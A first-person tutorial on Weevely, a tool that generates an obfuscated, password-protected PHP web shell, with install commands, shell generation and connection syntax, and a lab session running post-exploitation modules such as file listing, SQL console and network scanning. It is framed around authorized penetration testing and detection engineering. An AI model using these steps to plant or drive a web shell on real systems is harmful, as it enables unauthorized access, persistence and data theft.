weeevely: A web shell for maintaining access and performing post-exploitation activities

Weevely is a tool I’ve used specifically during authorized web application penetration tests, in the post-exploitation phase after I’ve already demonstrated a file upload or remote code execution vulnerability that lets me place a file on the target server. It generates a small, obfuscated PHP web shell and gives me a full interactive session over HTTP(S) to that shell, complete with dozens of built-in modules for further enumeration — all without ever needing direct server access outside of the web application itself.

What Weevely Is and How It Works

Weevely is a Python-based client paired with a generated PHP payload. Its architecture has two halves:

1. The generated PHP agent — a small, obfuscated PHP file that Weevely creates for you, protected with a password. When placed on a vulnerable target (through an authorized file upload flaw, for instance), it acts as the remote endpoint for all further communication.
2. The Weevely client — connects to that PHP agent over standard HTTP(S) requests, encrypting communication using the shared password so that command traffic doesn’t look like an obvious plaintext shell to casual network inspection.

Once connected, Weevely provides an interactive shell-like prompt with dozens of built-in modules covering file management, SQL client access (if the target has DB credentials configured), network reconnaissance from the compromised host’s perspective, and privilege/backdoor persistence testing — all useful for demonstrating impact during an authorized assessment.

Installing Weevely

On Kali, it’s usually preinstalled. To install manually:

sudo apt update
sudo apt install -y weevely

Or from source:

git clone https://github.com/epinna/weevely3.git
cd weevely3
pip3 install -r requirements.txt --break-system-packages

Verify:

weevely

Basic Syntax

Generating the PHP agent:

weevely generate <password> <output_file.php>

Connecting to a deployed agent:

weevely <target_url> <password> [command]

Real Example (Authorized Lab Environment)

Generating the agent:

$ weevely generate MyStrongPass123 shell.php
Generated backdoor with password 'MyStrongPass123' in 'shell.php' of 1345 byte size.

After authorized upload of shell.php to a vulnerable lab web application (e.g., via an intentionally vulnerable file-upload form in a training environment like DVWA), connecting to it:

$ weevely http://labtarget.local/uploads/shell.php MyStrongPass123
weevely> whoami
www-data

weevely> system_info
uname: Linux labtarget 5.15.0 x86_64
distro: Ubuntu 22.04

weevely> file_ls /var/www/html
index.php  config.php  uploads/  admin/

From here, modules like file_download, sql_console (if DB credentials are found in application config files), and net_scan demonstrate real-world post-exploitation impact for the client’s report.

Real-World Use Cases

Web application penetration testing — after demonstrating an unrestricted file upload or local file inclusion vulnerability, Weevely provides a concrete, reproducible proof-of-impact session to include in the assessment report.

Testing web application firewall (WAF) evasion in authorized red team engagements — Weevely’s obfuscated payload structure is often used to evaluate whether a client’s WAF/IDS actually detects web shell traffic patterns.

Persistence and detection testing — validating whether a client’s monitoring stack (file integrity monitoring, WAF logging, EDR on the web server) actually alerts on web shell deployment and usage during a purple-team exercise.

Integration with Other Tools

• Burp Suite — used earlier in the engagement to discover and confirm the upload/RCE vulnerability that makes deploying the Weevely agent possible in the first place.
• Metasploit — sometimes used for the initial exploitation step, with Weevely deployed afterward as a lightweight, low-noise persistence mechanism for demonstrating impact during a longer engagement window.
• SIEM/EDR validation — security teams often use a known Weevely deployment as a detection-engineering test case for their web shell detection rules.

Performance and Troubleshooting

• Some hosting environments disable dangerous PHP functions (exec, shell_exec, system) via disable_functions in php.ini; Weevely’s modules attempt several execution methods, but full functionality depends on what the server’s PHP configuration allows.
• If commands seem to hang or return no output, check the target’s error logs for PHP errors — heavily hardened web servers may block or log the file operations Weevely attempts.
• A mistake I’ve made: forgetting that some WAFs strip or reject requests containing certain patterns Weevely’s traffic uses by default; testing with the WAF logging enabled (rather than blocking) during the first pass shows exactly what gets flagged.

Best Practices

• Only ever deploy Weevely’s agent to systems you have explicit written authorization to test, and only through a vulnerability you’ve already legitimately demonstrated as part of the engagement scope.
• Remove the deployed PHP agent from the target at the conclusion of testing — leaving a functioning web shell behind is a serious security risk even after an authorized test.
• Document the exact upload path, password, and session commands used for the final report and client remediation guidance.

FAQ

Is Weevely a vulnerability itself? No — it’s a post-exploitation tool used after an existing vulnerability (like unrestricted file upload) has already been demonstrated; it doesn’t create the vulnerability.

Can Weevely evade all web application firewalls? No single tool guarantees WAF evasion; results vary significantly based on the specific WAF rules in place, which is exactly why it’s useful for authorized detection testing.

Is using Weevely against a website illegal? Yes, deploying it against any system without explicit authorization is illegal — it should only ever be used in scoped, authorized penetration tests or your own lab environment.

Summary

Weevely gives me a lightweight, realistic way to demonstrate the real-world impact of a file upload or RCE vulnerability during an authorized web application assessment, and it doubles as a useful benchmark for testing whether a client’s web shell detection controls actually work.

References

• GitHub repository: https://github.com/epinna/weevely3
• Project wiki/documentation: https://github.com/epinna/weevely3/wiki